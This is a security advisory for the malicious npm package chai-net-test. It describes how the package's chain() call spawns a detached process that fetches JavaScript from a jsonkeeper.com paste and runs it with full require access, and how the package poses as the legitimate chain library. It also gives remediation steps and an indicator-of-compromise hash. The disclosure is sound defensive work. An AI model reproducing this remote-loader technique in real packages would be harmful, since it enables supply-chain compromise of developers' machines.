Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

chai-net-testnpm

Malicious code in chai-net-test (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5607
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall chai-net-test

What this malware does

chai-net-test ships a remote-code-execution dropper behind its public chain() API. When a consumer calls chain([...]) (the documented entry point), src/index.js spawns src/utils/swap.js as a detached child Node process. swap.js performs axios.get('https://www.jsonkeeper.com/b/5IZTJ'), takes the response's .Cookie string, builds a function via new Function.constructor('require', s), and invokes it with the package's require — granting the attacker-supplied JavaScript full Node module access on the consumer's machine. The destination is jsonkeeper.com, a public anonymous JSON paste host whose contents are fully mutable by whoever holds the paste id, so the executed bytes can change at any moment without any package republish. The package additionally impersonates the legitimate stream-chaining library chain by uhop: the README claims to be a 'lightweight, no-dependencies micro-package' and links to uhop's wiki, while package.json declares runtime dependencies on axios and sqlite3 — a cover-story to lure consumers of the real library into invoking the trojaned API.

Malicious versions

1 flagged
1.1.0

Indicators of compromise (SHA-256)

cd5f4bb3d7abae3be57c7521b84016b6484d4c21bd2898fcde043d376513cf1e

Frequently asked questions

No. chai-net-test on npm has been identified as a malicious package (version 1.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005709

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
chai-net-test (npm) malicious package — MAL-2026-5607 | O3 Security